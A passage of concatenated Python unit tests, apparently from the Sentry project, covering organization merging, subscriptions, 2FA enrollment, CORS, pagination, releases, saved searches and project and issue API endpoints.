        assert event.data.get_ref(event) != event.data.get_ref(invalid_event)

        with pytest.raises(NodeIntegrityFailure):
            Event.objects.bind_nodes([event], 'data')

    def test_accepts_valid_ref(self):
        event = self.create_event()
        event.data.bind_ref(event)
        event.save()

        Event.objects.bind_nodes([event], 'data')

        assert event.data.ref == event.project.id

    def test_basic_ref_binding(self):
        event = self.create_event()
        assert event.data.get_ref(event) == event.project.id






from __future__ import absolute_import

from sentry.models import (
    OrganizationMember, OrganizationMemberTeam, Project, Team
)
from sentry.testutils import TestCase


class OrganizationTest(TestCase):
    def test_merge_to(self):
        from_owner = self.create_user('foo@example.com')
        from_org = self.create_organization(owner=from_owner)
        from_team = self.create_team(organization=from_org)
        from_team_two = self.create_team(organization=from_org, slug='bizzy')
        from_project_two = self.create_project(
            organization=from_org,
            team=from_team_two,
            slug='bizzy',
        )
        from_user = self.create_user('baz@example.com')
        other_user = self.create_user('bizbaz@example.com')
        self.create_member(organization=from_org, user=from_user)
        other_member = self.create_member(organization=from_org, user=other_user)

        OrganizationMemberTeam.objects.create(
            organizationmember=other_member,
            team=from_team,
        )

        to_owner = self.create_user('bar@example.com')
        to_org = self.create_organization(owner=to_owner)
        to_team = self.create_team(organization=to_org)
        to_team_two = self.create_team(organization=to_org, slug='bizzy')
        to_project_two = self.create_project(
            organization=to_org,
            team=to_team_two,
            slug='bizzy',
        )
        to_member = self.create_member(organization=to_org, user=other_user)

        OrganizationMemberTeam.objects.create(
            organizationmember=to_member,
            team=to_team,
        )

        from_org.merge_to(to_org)

        assert OrganizationMember.objects.filter(
            organization=to_org,
            user=from_owner,
            role='owner',
        ).exists()

        team = Team.objects.get(id=from_team.id)
        assert team.organization == to_org

        member = OrganizationMember.objects.get(
            user=other_user,
            organization=to_org,
        )
        assert OrganizationMemberTeam.objects.filter(
            organizationmember=member,
            team=to_team,
        ).exists()
        assert OrganizationMemberTeam.objects.filter(
            organizationmember=member,
            team=from_team,
        ).exists()

        from_team_two = Team.objects.get(id=from_team_two.id)
        assert from_team_two.slug != 'bizzy'
        assert from_team_two.organization == to_org

        from_project_two = Project.objects.get(id=from_project_two.id)
        assert from_project_two.slug != 'bizzy'
        assert from_project_two.organization == to_org
        assert from_project_two.team == from_team_two

        to_team_two = Team.objects.get(id=to_team_two.id)
        assert to_team_two.slug == 'bizzy'
        assert to_team_two.organization == to_org

        to_project_two = Project.objects.get(id=to_project_two.id)
        assert to_project_two.slug == 'bizzy'
        assert to_project_two.organization == to_org
        assert to_project_two.team == to_team_two

    def test_get_default_owner(self):
        user = self.create_user('foo@example.com')
        org = self.create_organization(owner=user)
        assert org.get_default_owner() == user






from __future__ import absolute_import

from datetime import timedelta
from django.utils import timezone

from sentry.models import Environment, GroupRelease, Release
from sentry.testutils import TestCase


class GetOrCreateTest(TestCase):
    def test_simple(self):
        project = self.create_project()
        group = self.create_group(project=project)
        release = Release.objects.create(version='abc', project=project)
        env = Environment.objects.create(project_id=project.id, name='prod')
        datetime = timezone.now()

        grouprelease = GroupRelease.get_or_create(
            group=group,
            release=release,
            environment=env,
            datetime=datetime,
        )

        assert grouprelease.project_id == project.id
        assert grouprelease.group_id == group.id
        assert grouprelease.release_id == release.id
        assert grouprelease.environment == 'prod'
        assert grouprelease.first_seen == datetime
        assert grouprelease.last_seen == datetime

        datetime_new = timezone.now() + timedelta(days=1)

        grouprelease = GroupRelease.get_or_create(
            group=group,
            release=release,
            environment=env,
            datetime=datetime_new,
        )

        assert grouprelease.first_seen == datetime
        assert grouprelease.last_seen == datetime_new






from __future__ import absolute_import

from sentry.models import GroupSubscription, UserOption, UserOptionValue
from sentry.testutils import TestCase


class SubscribeTest(TestCase):
    def test_simple(self):
        group = self.create_group()
        user = self.create_user()

        GroupSubscription.objects.subscribe(group=group, user=user)

        assert GroupSubscription.objects.filter(
            group=group,
            user=user,
        ).exists()

        # should not error
        GroupSubscription.objects.subscribe(group=group, user=user)


class GetParticipantsTest(TestCase):
    def test_simple(self):
        org = self.create_organization()
        team = self.create_team(organization=org)
        project = self.create_project(team=team, organization=org)
        group = self.create_group(project=project)
        user = self.create_user('foo@example.com')
        user2 = self.create_user('bar@example.com')
        self.create_member(user=user, organization=org, teams=[team])
        self.create_member(user=user2, organization=org)

        # implicit membership
        users = GroupSubscription.objects.get_participants(group=group)

        assert users == [user]

        # unsubscribed
        GroupSubscription.objects.create(
            user=user,
            group=group,
            project=project,
            is_active=False,
        )

        users = GroupSubscription.objects.get_participants(group=group)

        assert users == []

        # not participating by default
        GroupSubscription.objects.filter(
            user=user,
            group=group,
        ).delete()

        UserOption.objects.set_value(
            user=user,
            key='workflow:notifications',
            project=None,
            value=UserOptionValue.participating_only,
        )

        users = GroupSubscription.objects.get_participants(group=group)

        assert users == []

        # explicitly participating
        GroupSubscription.objects.create(
            user=user,
            group=group,
            project=project,
            is_active=True,
        )

        users = GroupSubscription.objects.get_participants(group=group)

        assert users == [user]

    def test_excludes_project_participating_only(self):
        org = self.create_organization()
        team = self.create_team(organization=org)
        project = self.create_project(team=team, organization=org)
        group = self.create_group(project=project)
        user = self.create_user('foo@example.com')
        self.create_member(user=user, organization=org, teams=[team])

        UserOption.objects.set_value(
            user=user,
            project=project,
            key='workflow:notifications',
            value=UserOptionValue.participating_only,
        )

        users = GroupSubscription.objects.get_participants(group=group)

        assert users == []






from __future__ import absolute_import

from sentry.testutils import TestCase
from sentry.models import Authenticator, TotpInterface, RecoveryCodeInterface


class AuthenticatorTest(TestCase):
    def test_user_has_2fa(self):
        user = self.create_user('foo@example.com')
        assert Authenticator.objects.user_has_2fa(user) is False
        assert Authenticator.objects.filter(user=user).count() == 0

        RecoveryCodeInterface().enroll(user)

        assert Authenticator.objects.user_has_2fa(user) is False
        assert Authenticator.objects.filter(user=user).count() == 1

        TotpInterface().enroll(user)

        assert Authenticator.objects.user_has_2fa(user) is True
        assert Authenticator.objects.filter(user=user).count() == 2

    def test_bulk_users_have_2fa(self):
        user1 = self.create_user('foo1@example.com')
        user2 = self.create_user('foo2@example.com')

        TotpInterface().enroll(user1)

        assert Authenticator.objects.bulk_users_have_2fa([user1.id, user2.id, 9999]) == {
            user1.id: True,
            user2.id: False,
            9999: False,
        }






# coding: utf-8

from __future__ import absolute_import

from django.core import mail

from sentry.models import OrganizationMember
from sentry.testutils import TestCase


class OrganizationMemberTest(TestCase):
    def test_legacy_token_generation(self):
        member = OrganizationMember(id=1, organization_id=1, email='foo@example.com')
        with self.settings(SECRET_KEY='a'):
            assert member.legacy_token == 'f3f2aa3e57f4b936dfd4f42c38db003e'

    def test_legacy_token_generation_unicode_key(self):
        member = OrganizationMember(id=1, organization_id=1, email='foo@example.com')
        with self.settings(SECRET_KEY="\xfc]C\x8a\xd2\x93\x04\x00\x81\xeak\x94\x02H\x1d\xcc&P'q\x12\xa2\xc0\xf2v\x7f\xbb*lX"):
            assert member.legacy_token == 'df41d9dfd4ba25d745321e654e15b5d0'

    def test_send_invite_email(self):
        organization = self.create_organization()
        member = OrganizationMember(id=1, organization=organization, email='foo@example.com')
        with self.options({'system.url-prefix': 'http://example.com'}), self.tasks():
            member.send_invite_email()

        assert len(mail.outbox) == 1

        msg = mail.outbox[0]

        assert msg.to == ['foo@example.com']

    def test_send_sso_link_email(self):
        organization = self.create_organization()
        member = OrganizationMember(id=1, organization=organization, email='foo@example.com')
        with self.options({'system.url-prefix': 'http://example.com'}), self.tasks():
            member.send_invite_email()

        assert len(mail.outbox) == 1

        msg = mail.outbox[0]

        assert msg.to == ['foo@example.com']






from __future__ import absolute_import






from __future__ import absolute_import

import base64

from django.http import HttpRequest
from rest_framework.response import Response

from sentry.api.base import Endpoint
from sentry.models import ApiKey
from sentry.testutils import APITestCase


class DummyEndpoint(Endpoint):
    permission_classes = ()

    def get(self, request):
        return Response({"ok": True})

_dummy_endpoint = DummyEndpoint.as_view()


class EndpointTest(APITestCase):
    def test_basic_cors(self):
        org = self.create_organization()
        apikey = ApiKey.objects.create(
            organization=org,
            allowed_origins='*',
        )

        request = HttpRequest()
        request.method = 'GET'
        request.META['HTTP_ORIGIN'] = 'http://example.com'
        request.META['HTTP_AUTHORIZATION'] = 'Basic {}'.format(
            base64.b64encode(apikey.key).decode('utf-8')
        )

        response = _dummy_endpoint(request)
        response.render()

        assert response.status_code == 200, response.content

        assert response['Access-Control-Allow-Origin'] == 'http://example.com'






from __future__ import absolute_import

import pytest

from sentry.api.paginator import (
    DateTimePaginator, OffsetPaginator
)
from sentry.models import User
from sentry.testutils import TestCase


class OffsetPaginatorTest(TestCase):
    # offset paginator does not support dynamic limits on is_prev
    def test_simple(self):
        res1 = self.create_user('foo@example.com')
        res2 = self.create_user('bar@example.com')
        res3 = self.create_user('baz@example.com')

        queryset = User.objects.all()

        paginator = OffsetPaginator(queryset, 'id')
        result1 = paginator.get_result(limit=1, cursor=None)
        assert len(result1) == 1, result1
        assert result1[0] == res1
        assert result1.next
        assert not result1.prev

        result2 = paginator.get_result(limit=1, cursor=result1.next)
        assert len(result2) == 1, (result2, list(result2))
        assert result2[0] == res2
        assert result2.next
        assert result2.prev

        result3 = paginator.get_result(limit=1, cursor=result2.next)
        assert len(result3) == 1, result3
        assert result3[0] == res3
        assert not result3.next
        assert result3.prev

        result4 = paginator.get_result(limit=1, cursor=result3.next)
        assert len(result4) == 0, result4
        assert not result4.next
        assert result4.prev

        result5 = paginator.get_result(limit=1, cursor=result4.prev)
        assert len(result5) == 1, result5
        assert result5[0] == res3
        assert not result5.next
        assert result5.prev


class DateTimePaginatorTest(TestCase):
    @pytest.mark.xfail
    def test_simple(self):
        res1 = self.create_user('foo@example.com')
        res2 = self.create_user('bar@example.com')
        res3 = self.create_user('baz@example.com')

        queryset = User.objects.all()

        paginator = DateTimePaginator(queryset, 'date_joined')
        result1 = paginator.get_result(limit=1, cursor=None)
        assert len(result1) == 1, result1
        assert result1[0] == res1
        assert result1.next
        assert not result1.prev

        result2 = paginator.get_result(limit=2, cursor=result1.next)
        assert len(result2) == 2, result2
        assert result2[0] == res2
        assert result2[1] == res3
        assert not result2.next
        assert result2.prev

        # this is not yet correct
        result3 = paginator.get_result(limit=2, cursor=result2.prev)
        assert len(result3) == 1, list(result3)
        assert result3[0] == res1
        assert result3.next
        assert not result3.prev






from __future__ import absolute_import






from __future__ import absolute_import

import six

from django.core.urlresolvers import reverse

from sentry.models import AuthIdentity, AuthProvider, User
from sentry.testutils import APITestCase


class UserDetailsTest(APITestCase):
    # TODO(dcramer): theres currently no way to look up other users
    # def test_simple(self):
    #     user = self.create_user(email='a@example.com')
    #     user2 = self.create_user(email='b@example.com')

    #     self.login_as(user=user)

    #     url = reverse('sentry-api-0-user-details', kwargs={
    #         'user_id': user2.id,
    #     })
    #     resp = self.client.get(url, format='json')

    #     assert resp.status_code == 200, resp.content
    #     assert resp.data['id'] == six.text_type(user.id)
    #     assert 'identities' not in resp.data

    def test_lookup_self(self):
        user = self.create_user(email='a@example.com')

        org = self.create_organization(owner=user)
        auth_provider = AuthProvider.objects.create(
            organization=org,
            provider='dummy',
        )
        auth_identity = AuthIdentity.objects.create(
            auth_provider=auth_provider,
            ident=user.email,
            user=user,
        )

        self.login_as(user=user)

        url = reverse('sentry-api-0-user-details', kwargs={
            'user_id': 'me',
        })
        resp = self.client.get(url, format='json')

        assert resp.status_code == 200, resp.content
        assert resp.data['id'] == six.text_type(user.id)
        assert 'identities' in resp.data
        assert len(resp.data['identities']) == 1
        assert resp.data['identities'][0]['id'] == auth_identity.id
        assert resp.data['identities'][0]['name'] == auth_identity.ident

    def test_superuser(self):
        user = self.create_user(email='a@example.com')
        superuser = self.create_user(email='b@example.com', is_superuser=True)

        self.login_as(user=superuser)

        url = reverse('sentry-api-0-user-details', kwargs={
            'user_id': user.id,
        })

        resp = self.client.get(url)
        assert resp.status_code == 200, resp.content
        assert resp.data['id'] == six.text_type(user.id)
        assert 'identities' in resp.data
        assert len(resp.data['identities']) == 0


class UserUpdateTest(APITestCase):
    def test_simple(self):
        user = self.create_user(email='a@example.com')

        self.login_as(user=user)

        url = reverse('sentry-api-0-user-details', kwargs={
            'user_id': 'me',
        })

        resp = self.client.put(url, data={
            'name': 'hello world',
            'username': 'b@example.com',
        })
        assert resp.status_code == 200, resp.content
        assert resp.data['id'] == six.text_type(user.id)

        user = User.objects.get(id=user.id)
        assert user.name == 'hello world'
        assert user.email == 'b@example.com'
        assert user.username == user.email

    def test_superuser(self):
        user = self.create_user(email='a@example.com')
        superuser = self.create_user(email='b@example.com', is_superuser=True)

        self.login_as(user=superuser)

        url = reverse('sentry-api-0-user-details', kwargs={
            'user_id': user.id,
        })

        resp = self.client.put(url, data={
            'name': 'hello world',
            'email': 'c@example.com',
            'username': 'foo',
            'isActive': 'false',
        })
        assert resp.status_code == 200, resp.content
        assert resp.data['id'] == six.text_type(user.id)

        user = User.objects.get(id=user.id)
        assert user.name == 'hello world'
        assert user.email == 'c@example.com'
        assert user.username == 'foo'
        assert not user.is_active






from __future__ import absolute_import

from datetime import datetime
from django.core.urlresolvers import reverse

from sentry.models import Release
from sentry.testutils import APITestCase


class ProjectReleaseListTest(APITestCase):
    def test_simple(self):
        self.login_as(user=self.user)

        team = self.create_team()
        project1 = self.create_project(team=team, name='foo')
        project2 = self.create_project(team=team, name='bar')

        release1 = Release.objects.create(
            project=project1,
            version='1',
            date_added=datetime(2013, 8, 13, 3, 8, 24, 880386),
        )
        release2 = Release.objects.create(
            project=project1,
            version='2',
            date_added=datetime(2013, 8, 14, 3, 8, 24, 880386),
        )
        release3 = Release.objects.create(
            project=project1,
            version='3',
            date_added=datetime(2013, 8, 12, 3, 8, 24, 880386),
            date_released=datetime(2013, 8, 15, 3, 8, 24, 880386),
        )
        Release.objects.create(
            project=project2,
            version='1',
        )

        url = reverse('sentry-api-0-project-releases', kwargs={
            'organization_slug': project1.organization.slug,
            'project_slug': project1.slug,
        })
        response = self.client.get(url, format='json')

        assert response.status_code == 200, response.content
        assert len(response.data) == 3
        assert response.data[0]['version'] == release3.version
        assert response.data[1]['version'] == release2.version
        assert response.data[2]['version'] == release1.version

    def test_query_filter(self):
        self.login_as(user=self.user)

        team = self.create_team()
        project = self.create_project(team=team, name='foo')

        release = Release.objects.create(
            project=project,
            version='foobar',
            date_added=datetime(2013, 8, 13, 3, 8, 24, 880386),
        )

        url = reverse('sentry-api-0-project-releases', kwargs={
            'organization_slug': project.organization.slug,
            'project_slug': project.slug,
        })
        response = self.client.get(url + '?query=foo', format='json')

        assert response.status_code == 200, response.content
        assert len(response.data) == 1
        assert response.data[0]['version'] == release.version

        response = self.client.get(url + '?query=bar', format='json')

        assert response.status_code == 200, response.content
        assert len(response.data) == 0


class ProjectReleaseCreateTest(APITestCase):
    def test_minimal(self):
        self.login_as(user=self.user)

        team = self.create_team()
        project = self.create_project(team=team, name='foo')

        url = reverse('sentry-api-0-project-releases', kwargs={
            'organization_slug': project.organization.slug,
            'project_slug': project.slug,
        })
        response = self.client.post(url, data={
            'version': '1.2.1',
        })

        assert response.status_code == 201, response.content
        assert response.data['version']

        release = Release.objects.get(
            project=project,
            version=response.data['version'],
        )
        assert not release.owner

    def test_duplicate(self):
        self.login_as(user=self.user)

        team = self.create_team()
        project = self.create_project(team=team, name='foo')

        Release.objects.create(version='1.2.1', project=project)

        url = reverse('sentry-api-0-project-releases', kwargs={
            'organization_slug': project.organization.slug,
            'project_slug': project.slug,
        })

        response = self.client.post(url, data={
            'version': '1.2.1',
        })

        assert response.status_code == 400, response.content

    def test_version_whitespace(self):
        self.login_as(user=self.user)

        team = self.create_team()
        project = self.create_project(team=team, name='foo')

        url = reverse('sentry-api-0-project-releases', kwargs={
            'organization_slug': project.organization.slug,
            'project_slug': project.slug,
        })

        response = self.client.post(url, data={
            'version': '1.2.3\n',
        })
        assert response.status_code == 400, response.content

        response = self.client.post(url, data={
            'version': '\n1.2.3',
        })
        assert response.status_code == 400, response.content

        response = self.client.post(url, data={
            'version': '1.\n2.3',
        })
        assert response.status_code == 400, response.content

        response = self.client.post(url, data={
            'version': '1.2.3\f',
        })
        assert response.status_code == 400, response.content

        response = self.client.post(url, data={
            'version': '1.2.3\t',
        })
        assert response.status_code == 400, response.content

        response = self.client.post(url, data={
            'version': '1.2.3',
        })
        assert response.status_code == 201, response.content
        assert response.data['version'] == '1.2.3'

        release = Release.objects.get(
            project=project,
            version=response.data['version'],
        )
        assert not release.owner

    def test_features(self):
        self.login_as(user=self.user)

        team = self.create_team()
        project = self.create_project(team=team, name='foo')

        url = reverse('sentry-api-0-project-releases', kwargs={
            'organization_slug': project.organization.slug,
            'project_slug': project.slug,
        })
        response = self.client.post(url, data={
            'version': '1.2.1',
            'owner': self.user.email,
        })

        assert response.status_code == 201, response.content
        assert response.data['version']

        release = Release.objects.get(
            project=project,
            version=response.data['version'],
        )
        assert release.owner == self.user






from __future__ import absolute_import, print_function

import six

from datetime import timedelta
from django.utils import timezone

from sentry.models import (
    Activity, Group, GroupAssignee, GroupBookmark, GroupSeen, GroupSnooze,
    GroupSubscription, GroupStatus, GroupTagValue, Release
)
from sentry.testutils import APITestCase


class GroupDetailsTest(APITestCase):
    def test_simple(self):
        self.login_as(user=self.user)

        group = self.create_group()

        url = '/api/0/issues/{}/'.format(group.id)
        response = self.client.get(url, format='json')

        assert response.status_code == 200, response.content
        assert response.data['id'] == six.text_type(group.id)
        assert response.data['firstRelease'] is None

    def test_with_first_release(self):
        self.login_as(user=self.user)

        group = self.create_group()
        release = Release.objects.create(
            project=group.project,
            version='1.0',
        )
        GroupTagValue.objects.create(
            group=group,
            project=group.project,
            key='sentry:release',
            value=release.version,
        )

        url = '/api/0/issues/{}/'.format(group.id)

        response = self.client.get(url, format='json')

        assert response.status_code == 200, response.content
        assert response.data['id'] == six.text_type(group.id)
        assert response.data['firstRelease']['version'] == release.version


class GroupUpdateTest(APITestCase):
    def test_resolve(self):
        self.login_as(user=self.user)

        group = self.create_group()

        url = '/api/0/issues/{}/'.format(group.id)

        response = self.client.put(url, data={
            'status': 'resolved',
        }, format='json')
        assert response.status_code == 200, response.content

        group = Group.objects.get(
            id=group.id,
            project=group.project.id,
        )
        assert group.status == GroupStatus.RESOLVED

        assert GroupSubscription.objects.filter(
            user=self.user,
            group=group,
            is_active=True,
        ).exists()

    def test_snooze_duration(self):
        group = self.create_group(checksum='a' * 32, status=GroupStatus.RESOLVED)

        self.login_as(user=self.user)

        url = '/api/0/issues/{}/'.format(group.id)

        response = self.client.put(url, data={
            'status': 'muted',
            'snoozeDuration': 30,
        }, format='json')

        assert response.status_code == 200

        snooze = GroupSnooze.objects.get(group=group)

        assert snooze.until > timezone.now() + timedelta(minutes=29)
        assert snooze.until < timezone.now() + timedelta(minutes=31)

        assert response.data['statusDetails']['snoozeUntil'] == snooze.until

        group = Group.objects.get(id=group.id)
        assert group.get_status() == GroupStatus.MUTED

        assert GroupSubscription.objects.filter(
            user=self.user,
            group=group,
            is_active=True,
        ).exists()

    def test_bookmark(self):
        self.login_as(user=self.user)

        group = self.create_group()

        url = '/api/0/issues/{}/'.format(group.id)

        response = self.client.put(url, data={
            'isBookmarked': '1',
        }, format='json')

        assert response.status_code == 200, response.content

        # ensure we've created the bookmark
        assert GroupBookmark.objects.filter(
            group=group, user=self.user).exists()

        assert GroupSubscription.objects.filter(
            user=self.user,
            group=group,
            is_active=True,
        ).exists()

    def test_assign(self):
        self.login_as(user=self.user)

        group = self.create_group()

        url = '/api/0/issues/{}/'.format(group.id)

        response = self.client.put(url, data={
            'assignedTo': self.user.username,
        }, format='json')

        assert response.status_code == 200, response.content

        assert GroupAssignee.objects.filter(
            group=group, user=self.user
        ).exists()

        assert Activity.objects.filter(
            group=group, user=self.user, type=Activity.ASSIGNED,
        ).count() == 1

        response = self.client.put(url, format='json')

        assert response.status_code == 200, response.content

        assert GroupAssignee.objects.filter(
            group=group, user=self.user
        ).exists()

        assert GroupSubscription.objects.filter(
            user=self.user,
            group=group,
            is_active=True,
        ).exists()

        response = self.client.put(url, data={
            'assignedTo': '',
        }, format='json')

        assert response.status_code == 200, response.content

        assert not GroupAssignee.objects.filter(
            group=group, user=self.user
        ).exists()

    def test_mark_seen(self):
        self.login_as(user=self.user)

        group = self.create_group()

        url = '/api/0/issues/{}/'.format(group.id)

        response = self.client.put(url, data={
            'hasSeen': '1',
        }, format='json')

        assert response.status_code == 200, response.content

        assert GroupSeen.objects.filter(
            group=group, user=self.user).exists()

        response = self.client.put(url, data={
            'hasSeen': '0',
        }, format='json')

        assert response.status_code == 200, response.content

        assert not GroupSeen.objects.filter(
            group=group, user=self.user).exists()

    def test_mark_seen_as_non_member(self):
        user = self.create_user('foo@example.com', is_superuser=True)
        self.login_as(user=user)

        group = self.create_group()

        url = '/api/0/issues/{}/'.format(group.id)

        response = self.client.put(url, data={
            'hasSeen': '1',
        }, format='json')

        assert response.status_code == 200, response.content

        assert not GroupSeen.objects.filter(
            group=group, user=self.user).exists()

    def test_subscription(self):
        self.login_as(user=self.user)
        group = self.create_group()

        url = '/api/0/issues/{}/'.format(group.id)

        resp = self.client.put(url, data={
            'isSubscribed': 'true',
        })
        assert resp.status_code == 200, resp.content
        assert GroupSubscription.objects.filter(
            user=self.user,
            group=group,
            is_active=True,
        ).exists()

        resp = self.client.put(url, data={
            'isSubscribed': 'false',
        })
        assert resp.status_code == 200, resp.content
        assert GroupSubscription.objects.filter(
            user=self.user,
            group=group,
            is_active=False,
        ).exists()


class GroupDeleteTest(APITestCase):
    def test_delete(self):
        self.login_as(user=self.user)

        group = self.create_group()

        url = '/api/0/issues/{}/'.format(group.id)

        with self.tasks():
            response = self.client.delete(url, format='json')

        assert response.status_code == 202, response.content

        group = Group.objects.filter(id=group.id).exists()
        assert not group






from __future__ import absolute_import

import six

from django.core.urlresolvers import reverse

from sentry.models import SavedSearch, SavedSearchUserDefault
from sentry.testutils import APITestCase


class ProjectSearchListTest(APITestCase):
    def test_simple(self):
        self.login_as(user=self.user)

        team = self.create_team()
        project1 = self.create_project(team=team, name='foo')
        project2 = self.create_project(team=team, name='bar')
        SavedSearch.objects.filter(project=project1).delete()
        SavedSearch.objects.filter(project=project2).delete()

        search1 = SavedSearch.objects.create(
            project=project1,
            name='bar',
            query='',
        )
        search2 = SavedSearch.objects.create(
            project=project1,
            name='foo',
            query='',
        )
        SavedSearch.objects.create(
            project=project2,
            name='foo',
            query='',
        )

        url = reverse('sentry-api-0-project-searches', kwargs={
            'organization_slug': project1.organization.slug,
            'project_slug': project1.slug,
        })
        response = self.client.get(url, format='json')

        assert response.status_code == 200, response.content
        assert len(response.data) == 2
        assert response.data[0]['id'] == six.text_type(search1.id)
        assert response.data[1]['id'] == six.text_type(search2.id)


class ProjectSearchCreateTest(APITestCase):
    def test_simple(self):
        self.login_as(user=self.user)

        team = self.create_team()
        project = self.create_project(team=team, name='foo')

        url = reverse('sentry-api-0-project-searches', kwargs={
            'organization_slug': project.organization.slug,
            'project_slug': project.slug,
        })
        response = self.client.post(url, data={
            'name': 'muted',
            'query': 'is:muted'
        })

        assert response.status_code == 201, response.content
        assert response.data['id']

        search = SavedSearch.objects.get(
            project=project,
            id=response.data['id'],
        )
        assert not search.is_default

    def test_duplicate(self):
        self.login_as(user=self.user)

        team = self.create_team()
        project = self.create_project(team=team, name='foo')

        SavedSearch.objects.create(name='muted', project=project, query='')

        url = reverse('sentry-api-0-project-searches', kwargs={
            'organization_slug': project.organization.slug,
            'project_slug': project.slug,
        })

        response = self.client.post(url, data={
            'name': 'muted',
            'query': 'is:muted'
        })

        assert response.status_code == 400, response.content

    def test_default(self):
        self.login_as(user=self.user)

        team = self.create_team()
        project = self.create_project(team=team, name='foo')

        url = reverse('sentry-api-0-project-searches', kwargs={
            'organization_slug': project.organization.slug,
            'project_slug': project.slug,
        })
        response = self.client.post(url, data={
            'name': 'muted',
            'query': 'is:muted',
            'isDefault': True,
        })

        assert response.status_code == 201, response.content
        assert response.data['id']

        search = SavedSearch.objects.get(
            project=project,
            id=response.data['id'],
        )
        assert search.is_default

        assert not SavedSearchUserDefault.objects.filter(
            project=project,
            user=self.user,
            savedsearch=search,
        ).exists()

    def test_user_default(self):
        self.login_as(user=self.user)

        team = self.create_team()
        project = self.create_project(team=team, name='foo')

        url = reverse('sentry-api-0-project-searches', kwargs={
            'organization_slug': project.organization.slug,
            'project_slug': project.slug,
        })
        response = self.client.post(url, data={
            'name': 'muted',
            'query': 'is:muted',
            'isUserDefault': True,
        })

        assert response.status_code == 201, response.content
        assert response.data['id']

        search = SavedSearch.objects.get(
            project=project,
            id=response.data['id'],
        )
        assert not search.is_default

        userdefault = SavedSearchUserDefault.objects.get(
            project=project,
            user=self.user,
        )
        assert userdefault.savedsearch == search






from __future__ import absolute_import

import mock
import six

from django.core.urlresolvers import reverse

from sentry.models import Project, ProjectBookmark, ProjectStatus, UserOption
from sentry.testutils import APITestCase


class ProjectDetailsTest(APITestCase):
    def test_simple(self):
        project = self.project  # force creation
        self.login_as(user=self.user)
        url = reverse('sentry-api-0-project-details', kwargs={
            'organization_slug': project.organization.slug,
            'project_slug': project.slug,
        })
        response = self.client.get(url)
        assert response.status_code == 200
        assert response.data['id'] == six.text_type(project.id)

    def test_numeric_org_slug(self):
        # Regression test for https://github.com/getsentry/sentry/issues/2236
        self.login_as(user=self.user)
        org = self.create_organization(
            name='baz',
            slug='1',
            owner=self.user,
        )
        team = self.create_team(
            organization=org,
            name='foo',
            slug='foo',
        )
        project = self.create_project(
            name='Bar',
            slug='bar',
            team=team,
        )
        # We want to make sure we don't hit the LegacyProjectRedirect view at all.
        url = '/api/0/projects/%s/%s/' % (org.slug, project.slug)
        response = self.client.get(url)
        assert response.status_code == 200
        assert response.data['id'] == six.text_type(project.id)

    def test_with_stats(self):
        project = self.create_project()
        self.create_group(project=project)
        self.login_as(user=self.user)
        url = reverse('sentry-api-0-project-details', kwargs={
            'organization_slug': project.organization.slug,
            'project_slug': project.slug,
        })
        response = self.client.get(url + '?include=stats')
        assert response.status_code == 200
        assert response.data['stats']['unresolved'] == 1


class ProjectUpdateTest(APITestCase):
    def test_simple(self):
        project = self.project  # force creation
        self.login_as(user=self.user)
        url = reverse('sentry-api-0-project-details', kwargs={
            'organization_slug': project.organization.slug,
            'project_slug': project.slug,
        })
        resp = self.client.put(url, data={
            'name': 'hello world',
            'slug': 'foobar',
        })
        assert resp.status_code == 200, resp.content
        project = Project.objects.get(id=project.id)
        assert project.name == 'hello world'
        assert project.slug == 'foobar'

    def test_member_changes(self):
        project = self.create_project()
        user = self.create_user('bar@example.com')
        self.create_member(
            user=user,
            organization=project.organization,
            teams=[project.team],
            role='member',
        )
        self.login_as(user=user)
        url = reverse('sentry-api-0-project-details', kwargs={
            'organization_slug': project.organization.slug,
            'project_slug': project.slug,
        })
        response = self.client.put(url, data={
            'slug': 'zzz',
            'isBookmarked': 'true',
        })
        assert response.status_code == 200
        assert response.data['slug'] != 'zzz'

        assert ProjectBookmark.objects.filter(
            user=user,
            project_id=project.id,
        ).exists()

    def test_options(self):
        project = self.project  # force creation
        self.login_as(user=self.user)
        url = reverse('sentry-api-0-project-details', kwargs={
            'organization_slug': project.organization.slug,
            'project_slug': project.slug,
        })
        options = {
            'sentry:origins': 'foo\nbar',
            'sentry:resolve_age': 1,
            'sentry:scrub_data': False,
            'sentry:scrub_defaults': False,
            'sentry:sensitive_fields': ['foo', 'bar'],
            'sentry:csp_ignored_sources_defaults': False,
            'sentry:csp_ignored_sources': 'foo\nbar',
        }
        resp = self.client.put(url, data={
            'options': options
        })
        assert resp.status_code == 200, resp.content
        project = Project.objects.get(id=project.id)
        assert project.get_option('sentry:origins', []) == options['sentry:origins'].split('\n')
        assert project.get_option('sentry:resolve_age', 0) == options['sentry:resolve_age']
        assert project.get_option('sentry:scrub_data', True) == options['sentry:scrub_data']
        assert project.get_option('sentry:scrub_defaults', True) == options['sentry:scrub_defaults']
        assert project.get_option('sentry:sensitive_fields', []) == options['sentry:sensitive_fields']
        assert project.get_option('sentry:csp_ignored_sources_defaults', True) == options['sentry:csp_ignored_sources_defaults']
        assert project.get_option('sentry:csp_ignored_sources', []) == options['sentry:csp_ignored_sources'].split('\n')

    def test_bookmarks(self):
        project = self.project  # force creation
        self.login_as(user=self.user)
        url = reverse('sentry-api-0-project-details', kwargs={
            'organization_slug': project.organization.slug,
            'project_slug': project.slug,
        })
        resp = self.client.put(url, data={
            'isBookmarked': 'true',
        })
        assert resp.status_code == 200, resp.content
        assert ProjectBookmark.objects.filter(
            project_id=project.id,
            user=self.user,
        ).exists()

        resp = self.client.put(url, data={
            'isBookmarked': 'false',
        })
        assert resp.status_code == 200, resp.content
        assert not ProjectBookmark.objects.filter(
            project_id=project.id,
            user=self.user,
        ).exists()

    def test_subscription(self):
        project = self.project  # force creation
        self.login_as(user=self.user)
        url = reverse('sentry-api-0-project-details', kwargs={
            'organization_slug': project.organization.slug,
            'project_slug': project.slug,
        })
        resp = self.client.put(url, data={
            'isSubscribed': 'true',
        })
        assert resp.status_code == 200, resp.content
        assert UserOption.objects.get(
            user=self.user,
            project=project,
        ).value == 1

        resp = self.client.put(url, data={
            'isSubscribed': 'false',
        })
        assert resp.status_code == 200, resp.content
        assert UserOption.objects.get(
            user=self.user,
            project=project,
        ).value == 0


class ProjectDeleteTest(APITestCase):
    @mock.patch('sentry.api.endpoints.project_details.delete_project')
    def test_simple(self, mock_delete_project):
        project = self.create_project()

        self.login_as(user=self.user)

        url = reverse('sentry-api-0-project-details', kwargs={
            'organization_slug': project.organization.slug,
            'project_slug': project.slug,
        })

        with self.settings(SENTRY_PROJECT=0):
            response = self.client.delete(url)

        assert response.status_code == 204

        mock_delete_project.delay.assert_called_once_with(
            object_id=project.id,
            countdown=3600,
